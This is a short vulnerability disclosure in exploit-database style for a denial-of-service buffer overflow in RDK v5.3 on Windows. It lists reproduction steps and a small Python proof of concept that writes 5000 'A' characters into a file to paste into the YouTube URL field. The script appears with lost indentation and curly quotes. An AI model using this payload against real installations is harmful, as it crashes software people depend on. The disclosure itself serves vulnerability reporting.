RDK 5.3 Buffer Overflow

Exploit Title: RDK v5.3 - Buffer Overflow (DoS)
    Discovered by: Ahmet Ümit BAYRAM
    Discovered Date: 17.04.2024
    Vendor Homepage: http://www.shenturk.com
    Software Link: http://www.shenturk.com/downloads/rdk-5.3-setup.rar
    Tested Version: v5.3 (latest)
    Tested on: Windows 10 32bit
    Steps to Reproduce
    
    Open the RDK application.
    Click on the "Plus" button.
    Select YouTube.
    Copy the contents of poc.txt and paste it into the "YouTube URL" field.
    Click Tamam to confirm.
    Locate the payload from the list and double-click it.
    The application should crash.
    
    Proof of Concept (PoC)
    
    The following script creates a poc.txt file containing a payload that
    causes a buffer overflow in RDK v5.3.
    
    #!/usr/bin/env python3
    
    exploit = ‘A’ * 5000
    
    try:
    with open("poc.txt", "w") as file:
    file.write(exploit)
    print("POC is created")
    except Exception as e:
    print("POC not created:", e)